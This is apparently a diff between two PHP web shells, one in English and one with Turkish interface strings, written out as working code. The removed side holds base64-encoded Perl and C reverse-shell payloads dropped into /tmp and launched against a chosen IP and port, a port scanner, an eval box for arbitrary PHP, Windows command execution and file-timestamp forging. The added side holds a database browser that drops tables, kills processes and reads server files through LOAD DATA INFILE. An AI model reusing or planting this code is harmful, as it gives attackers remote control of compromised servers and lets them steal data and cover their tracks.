2476 | + | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} |
2477 | ||
2478 | - | p('<td colspan="'.($highver ? 5 : 3).'"> </td>'); |
2478 | + | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} |
2479 | ||
2480 | - | p('</tr>'); |
2480 | + | else {echo " ";} |
2481 | ||
2482 | } | |
2483 | ||
2484 | - | p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>"); |
2484 | + | if ($i == 0) {echo "empty";} |
2485 | ||
2486 | - | makehide('doing','backupmysql'); |
2486 | + | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; |
2487 | ||
2488 | - | formfoot(); |
2488 | + | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; |
2489 | ||
2490 | - | p("</table>"); |
2490 | + | echo "<tr>"; |
2491 | ||
2492 | - | fr($query); |
2492 | + | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; |
2493 | ||
2494 | - | } |
2494 | + | for ($i=0;$i<mysql_num_fields($result);$i++) |
2495 | ||
2496 | - | } |
2496 | + | { |
2497 | ||
2498 | - | } |
2498 | + | $v = mysql_field_name($result,$i); |
2499 | ||
2500 | - | tbfoot(); |
2500 | + | if ($e[0] == "a") {$s = "d"; $m = "asc";} |
2501 | ||
2502 | - | @mysql_close(); |
2502 | + | else {$s = "a"; $m = "desc";} |
2503 | ||
2504 | - | }//end mysql |
2504 | + | echo "<td>"; |
2505 | ||
2506 | if (empty($e[0])) {$e[0] = "a";} | |
2507 | ||
2508 | - | elseif ($action == 'backconnect') { |
2508 | + | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} |
2509 | ||
2510 | - | !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; |
2510 | + | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} |
2511 | ||
2512 | - | !$yourport && $yourport = '12345'; |
2512 | + | echo "</td>"; |
2513 | ||
2514 | - | $usedb = array('perl'=>'perl','c'=>'c'); |
2514 | + | } |
2515 | ||
2516 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; | |
2517 | ||
2518 | - | $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". |
2518 | + | echo "</tr>"; |
2519 | ||
2520 | - | "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". |
2520 | + | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
2521 | ||
2522 | - | "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". |
2522 | + | { |
2523 | ||
2524 | - | "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". |
2524 | + | echo "<tr>"; |
2525 | ||
2526 | - | "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". |
2526 | + | $w = ""; |
2527 | ||
2528 | - | "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". |
2528 | + | $i = 0; |
2529 | ||
2530 | - | "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; |
2530 | + | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} |
2531 | ||
2532 | - | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". |
2532 | + | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} |
2533 | ||
2534 | - | "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". |
2534 | + | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; |
2535 | ||
2536 | - | "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". |
2536 | + | $i = 0; |
2537 | ||
2538 | - | "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". |
2538 | + | foreach ($row as $k=>$v) |
2539 | ||
2540 | - | "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". |
2540 | + | { |
2541 | ||
2542 | - | "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". |
2542 | + | $v = htmlspecialchars($v); |
2543 | ||
2544 | - | "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". |
2544 | + | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} |
2545 | ||
2546 | - | "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; |
2546 | + | echo "<td>".$v."</td>"; |
2547 | ||
2548 | $i++; | |
2549 | ||
2550 | - | if ($start && $yourip && $yourport && $use){ |
2550 | + | } |
2551 | ||
2552 | - | if ($use == 'perl') { |
2552 | + | echo "<td>"; |
2553 | ||
2554 | - | cf('/tmp/angel_bc',$back_connect); |
2554 | + | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"SIL\" height=\"13\" width=\"11\" border=\"0\"></a> "; |
2555 | ||
2556 | - | $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); |
2556 | + | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Duzenle\" height=\"14\" width=\"14\" border=\"0\"></a> "; |
2557 | ||
2558 | - | } else { |
2558 | + | echo "</td>"; |
2559 | ||
2560 | - | cf('/tmp/angel_bc.c',$back_connect_c); |
2560 | + | echo "</tr>"; |
2561 | ||
2562 | - | $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); |
2562 | + | } |
2563 | ||
2564 | - | @unlink('/tmp/angel_bc.c'); |
2564 | + | mysql_free_result($result); |
2565 | ||
2566 | - | $res = execute("/tmp/angel_bc $yourip $yourport &"); |
2566 | + | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
2567 | ||
2568 | - | } |
2568 | + | echo "<option value=\"\">Secildi:</option>"; |
2569 | ||
2570 | - | m("Now script try connect to $yourip port $yourport ..."); |
2570 | + | echo "<option value=\"deleterow\">SIL/option>"; |
2571 | ||
2572 | - | } |
2572 | + | echo "</select> <input type=\"submit\" value=\"Tamam\"></form></p>"; |
2573 | ||
2574 | } | |
2575 | ||
2576 | - | formhead(array('title'=>'Back Connect')); |
2576 | + | |
2577 | ||
2578 | - | makehide('action','backconnect'); |
2578 | + | else |
2579 | ||
2580 | - | p('<p>'); |
2580 | + | { |
2581 | ||
2582 | - | p('Your IP:'); |
2582 | + | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); |
2583 | ||
2584 | - | makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); |
2584 | + | if (!$result) {echo mysql_smarterror();} |
2585 | ||
2586 | - | p('Your Port:'); |
2586 | + | else |
2587 | ||
2588 | - | makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); |
2588 | + | { |
2589 | ||
2590 | - | p('Use:'); |
2590 | + | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Olusturd</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; |
2591 | ||
2592 | - | makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); |
2592 | + | $i = 0; |
2593 | ||
2594 | - | makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); |
2594 | + | $tsize = $trows = 0; |
2595 | ||
2596 | - | p('</p>'); |
2596 | + | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
2597 | ||
2598 | - | formfoot(); |
2598 | + | { |
2599 | ||
2600 | - | }//end |
2600 | + | $tsize += $row["Data_length"]; |
2601 | ||
2602 | $trows += $row["Rows"]; | |
2603 | ||
2604 | - | elseif ($action == 'portscan') { |
2604 | + | $size = view_size($row["Data_length"]); |
2605 | ||
2606 | - | !$scanip && $scanip = '127.0.0.1'; |
2606 | + | echo "<tr>"; |
2607 | ||
2608 | - | !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958'; |
2608 | + | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; |
2609 | ||
2610 | - | formhead(array('title'=>'Port Scan')); |
2610 | + | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; |
2611 | ||
2612 | - | makehide('action','portscan'); |
2612 | + | echo "<td>".$row["Rows"]."</td>"; |
2613 | ||
2614 | - | p('<p>'); |
2614 | + | echo "<td>".$row["Tip"]."</td>"; |
2615 | ||
2616 | - | p('IP:'); |
2616 | + | echo "<td>".$row["Olusturma Zamani"]."</td>"; |
2617 | ||
2618 | - | makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip)); |
2618 | + | echo "<td>".$row["Guncelleme Zamani"]."</td>"; |
2619 | ||
2620 | - | p('Port:'); |
2620 | + | echo "<td>".$size."</td>"; |
2621 | ||
2622 | - | makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport)); |
2622 | + | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"BOS\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Sok :)\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; |
2623 | ||
2624 | - | makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt')); |
2624 | + | echo "</tr>"; |
2625 | ||
2626 | - | p('</p>'); |
2626 | + | $i++; |
2627 | ||
2628 | - | formfoot(); |
2628 | + | } |
2629 | ||
2630 | echo "<tr bgcolor=\"000000\">"; | |
2631 | ||
2632 | - | if ($startscan) { |
2632 | + | echo "<td><center><b></b></center></td>"; |
2633 | ||
2634 | - | p('<h2>Result »</h2>'); |
2634 | + | echo "<td><center><b>".$i." table(s)</b></center></td>"; |
2635 | ||
2636 | - | p('<ul class="info">'); |
2636 | + | echo "<td><b>".$trows."</b></td>"; |
2637 | ||
2638 | - | foreach(explode(',', $scanport) as $port) { |
2638 | + | echo "<td>".$row[1]."</td>"; |
2639 | ||
2640 | - | $fp = fsockopen($scanip, $port, $errno, $errstr, 1); |
2640 | + | echo "<td>".$row[10]."</td>"; |
2641 | ||
2642 | - | if (!$fp) { |
2642 | + | echo "<td>".$row[11]."</td>"; |
2643 | ||
2644 | - | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>'); |
2644 | + | echo "<td><b>".view_size($tsize)."</b></td>"; |
2645 | ||
2646 | - | } else { |
2646 | + | echo "<td></td>"; |
2647 | ||
2648 | - | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>'); |
2648 | + | echo "</tr>"; |
2649 | ||
2650 | - | @fclose($fp); |
2650 | + | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
2651 | ||
2652 | - | } |
2652 | + | echo "<option value=\"\">Sec:</option>"; |
2653 | ||
2654 | - | } |
2654 | + | echo "<option value=\"tbldrop\">Drop</option>"; |
2655 | ||
2656 | - | p('</ul>'); |
2656 | + | echo "<option value=\"tblempty\">Empty</option>"; |
2657 | ||
2658 | - | } |
2658 | + | echo "<option value=\"tbldump\">Dump</option>"; |
2659 | ||
2660 | echo "<option value=\"tblcheck\">Check table</option>"; | |
2661 | ||
2662 | echo "<option value=\"tbloptimize\">Optimize table</option>"; | |
2663 | ||
2664 | - | elseif ($action == 'eval') { |
2664 | + | echo "<option value=\"tblrepair\">Repair table</option>"; |
2665 | ||
2666 | - | $phpcode = trim($phpcode); |
2666 | + | echo "<option value=\"tblanalyze\">Analyze table</option>"; |
2667 | ||
2668 | - | if($phpcode){ |
2668 | + | echo "</select> <input type=\"submit\" value=\"Tamam!\"></form></p>"; |
2669 | ||
2670 | - | if (!preg_match('#<\?#si', $phpcode)) { |
2670 | + | mysql_free_result($result); |
2671 | ||
2672 | - | $phpcode = "<?php\n\n{$phpcode}\n\n?>"; |
2672 | + | } |
2673 | ||
2674 | - | } |
2674 | + | |
2675 | ||
2676 | - | eval("?".">$phpcode<?"); |
2676 | + | } |
2677 | ||
2678 | - | } |
2678 | + | } |
2679 | ||
2680 | - | formhead(array('title'=>'Eval PHP Code')); |
2680 | + | } |
2681 | ||
2682 | - | makehide('action','eval'); |
2682 | + | else |
2683 | ||
2684 | - | maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); |
2684 | + | { |
2685 | ||
2686 | - | p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>'); |
2686 | + | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); |
2687 | ||
2688 | - | formfooter(); |
2688 | + | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Olustur yeni DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } |
2689 | ||
2690 | - | }//end eval |
2690 | + | if (!empty($sql_act)) |
2691 | ||
2692 | { | |
2693 | ||
2694 | - | elseif ($action == 'editfile') { |
2694 | + | echo "<hr size=\"1\" noshade>"; |
2695 | ||
2696 | - | if(file_exists($opfile)) { |
2696 | + | if ($sql_act == "newdb") |
2697 | ||
2698 | - | $fp=@fopen($opfile,'r'); |
2698 | + | { |
2699 | ||
2700 | - | $contents=@fread($fp, filesize($opfile)); |
2700 | + | echo "<b>"; |
2701 | ||
2702 | - | @fclose($fp); |
2702 | + | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DataBase \"".htmlspecialchars($sql_newdb)."\" Olusturma tamamlandi.</b><br>";} |
2703 | ||
2704 | - | $contents=htmlspecialchars($contents); |
2704 | + | else {echo "Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Sebep:</b> ".mysql_smarterror();} |
2705 | ||
2706 | - | } |
2706 | + | |
2707 | ||
2708 | - | formhead(array('title'=>'Create / Edit File')); |
2708 | + | if ($sql_act == "serverstatus") |
2709 | ||
2710 | - | makehide('action','file'); |
2710 | + | { |
2711 | ||
2712 | - | makehide('dir',$nowpath); |
2712 | + | $result = mysql_query("SHOW STATUS", $sql_sock); |
2713 | ||
2714 | - | makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); |
2714 | + | echo "<center><b>Server Durumu Kararsiz:</b><br><br>"; |
2715 | ||
2716 | - | maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); |
2716 | + | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
2717 | ||
2718 | - | formfooter(); |
2718 | + | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
2719 | ||
2720 | echo "</table></center>"; | |
2721 | ||
2722 | - | goback(); |
2722 | + | mysql_free_result($result); |
2723 | ||
2724 | } | |
2725 | ||
2726 | - | }//end editfile |
2726 | + | if ($sql_act == "servervars") |
2727 | ||
2728 | { | |
2729 | ||
2730 | - | elseif ($action == 'newtime') { |
2730 | + | $result = mysql_query("SHOW VARIABLES", $sql_sock); |
2731 | ||
2732 | - | $opfilemtime = @filemtime($opfile); |
2732 | + | echo "<center><b>Server variables:</b><br><br>"; |
2733 | ||
2734 | - | //$time = strtotime("$year-$month-$day $hour:$minute:$second"); |
2734 | + | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
2735 | ||
2736 | - | $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); |
2736 | + | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
2737 | ||
2738 | - | formhead(array('title'=>'Clone folder/file was last modified time')); |
2738 | + | echo "</table>"; |
2739 | ||
2740 | - | makehide('action','file'); |
2740 | + | mysql_free_result($result); |
2741 | ||
2742 | - | makehide('dir',$nowpath); |
2742 | + | |
2743 | ||
2744 | - | makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); |
2744 | + | if ($sql_act == "processes") |
2745 | ||
2746 | - | makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); |
2746 | + | { |
2747 | ||
2748 | - | formfooter(); |
2748 | + | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} |
2749 | ||
2750 | - | formhead(array('title'=>'Set last modified')); |
2750 | + | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); |
2751 | ||
2752 | - | makehide('action','file'); |
2752 | + | echo "<center><b>Processes:</b><br><br>"; |
2753 | ||
2754 | - | makehide('dir',$nowpath); |
2754 | + | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; |
2755 | ||
2756 | - | makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); |
2756 | + | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} |
2757 | ||
2758 | - | p('<p>year:'); |
2758 | + | echo "</table>"; |
2759 | ||
2760 | - | makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); |
2760 | + | mysql_free_result($result); |
2761 | ||
2762 | - | p('month:'); |
2762 | + | |
2763 | ||
2764 | - | makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); |
2764 | + | if ($sql_act == "getfile") |
2765 | ||
2766 | - | p('day:'); |
2766 | + | { |
2767 | ||
2768 | - | makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); |
2768 | + | $tmpdb = $sql_login."_tmpdb"; |
2769 | ||
2770 | - | p('hour:'); |
2770 | + | $select = mysql_select_db($tmpdb); |
2771 | ||
2772 | - | makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); |
2772 | + | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} |
2773 | ||
2774 | - | p('minute:'); |
2774 | + | if ($select) |
2775 | ||
2776 | - | makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); |
2776 | + | { |
2777 | ||
2778 | - | p('second:'); |
2778 | + | $created = false; |
2779 | ||
2780 | - | makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); |
2780 | + | mysql_query("Olustur TABLE `tmp_file` ( `Gozleninen dosya guvenli mod da+open_basedir` LONGBLOB NOT NULL );"); |
2781 | ||
2782 | - | p('</p>'); |
2782 | + | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); |
2783 | ||
2784 | - | formfooter(); |
2784 | + | $result = mysql_query("SELECT * FROM tmp_file;"); |
2785 | ||
2786 | - | goback(); |
2786 | + | if (!$result) {echo "<b>Okuma Hatasi (Erisim Engellendi!)!</b>";} |
2787 | ||
2788 | - | }//end newtime |
2788 | + | else |
2789 | ||
2790 | { | |
2791 | ||
2792 | - | elseif ($action == 'shell') { |
2792 | + | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} |
2793 | ||
2794 | - | if (IS_WIN && IS_COM) { |
2794 | + | $f = ""; |
2795 | ||
2796 | - | if($program && $parameter) { |
2796 | + | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} |
2797 | ||
2798 | - | $shell= new COM('Shell.Application'); |
2798 | + | if (empty($f)) {echo "<b>Dosya \"".$sql_getfile."\" yok veya Bo$!</b><br>";} |
2799 | ||
2800 | - | $a = $shell->ShellExecute($program,$parameter); |
2800 | + | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} |
2801 | ||
2802 | - | m('Program run has '.(!$a ? 'success' : 'fail')); |
2802 | + | mysql_free_result($result); |
2803 | ||
2804 | - | } |
2804 | + | mysql_query("DROP TABLE tmp_file;"); |
2805 | ||
2806 | - | !$program && $program = 'c:\windows\system32\cmd.exe'; |
2806 | + | } |
2807 | ||
2808 | - | !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; |
2808 | + | } |
2809 | ||
2810 | - | formhead(array('title'=>'Execute Program')); |
2810 | + | mysql_drop_db($tmpdb); //comment it if you want to leave database |
2811 | ||
2812 | - | makehide('action','shell'); |
2812 | + | |
2813 | ||
2814 | - | makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); |
2814 | + | } |
2815 | ||
2816 | - | p('<p>'); |
2816 | + | } |
2817 | ||
2818 | - | makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); |
2818 | + | } |
2819 | ||
2820 | - | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); |
2820 | + | echo "</td></tr></table>"; |
2821 | ||
2822 | - | p('</p>'); |
2822 | + | if ($sql_sock) |
2823 | ||
2824 | - | formfoot(); |
2824 | + | { |
2825 | ||
2826 | - | } |
2826 | + | $affected = @mysql_affected_rows($sql_sock); |
2827 | ||
2828 | - | formhead(array('title'=>'Execute Command')); |
2828 | + | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} |
2829 | ||
2830 | - | makehide('action','shell'); |
2830 | + | echo "<tr><td><center><b>yapmacik(sahte) rows: ".$affected."</center></td></tr>"; |
2831 | ||
2832 | - | if (IS_WIN && IS_COM) { |
2832 | + | } |
2833 | ||
2834 | - | $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); |
2834 | + | echo "</table>"; |
2835 | ||
2836 | - | makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); |
2836 | + | |
2837 | ||
2838 | - | } |
2838 | + | if ($act == "mkdir") |
2839 | ||
2840 | - | p('<p>'); |
2840 | + | { |
2841 | ||
2842 | - | makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); |
2842 | + | if ($mkdir != $d) |
2843 | ||
2844 | - | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); |
2844 | + | { |
2845 | ||
2846 | - | p('</p>'); |
2846 | + | if (file_exists($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Obje Zaten Var..";} |
2847 | ||
2848 | - | formfoot(); |
2848 | + | elseif (!mkdir($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Giris Izin Vermedi";} |
2849 | ||
2850 | echo "<br><br>"; | |
2851 | ||
2852 | - | if ($command) { |
2852 | + | } |
2853 | ||
2854 | - | p('<hr width="100%" noshade /><pre>'); |
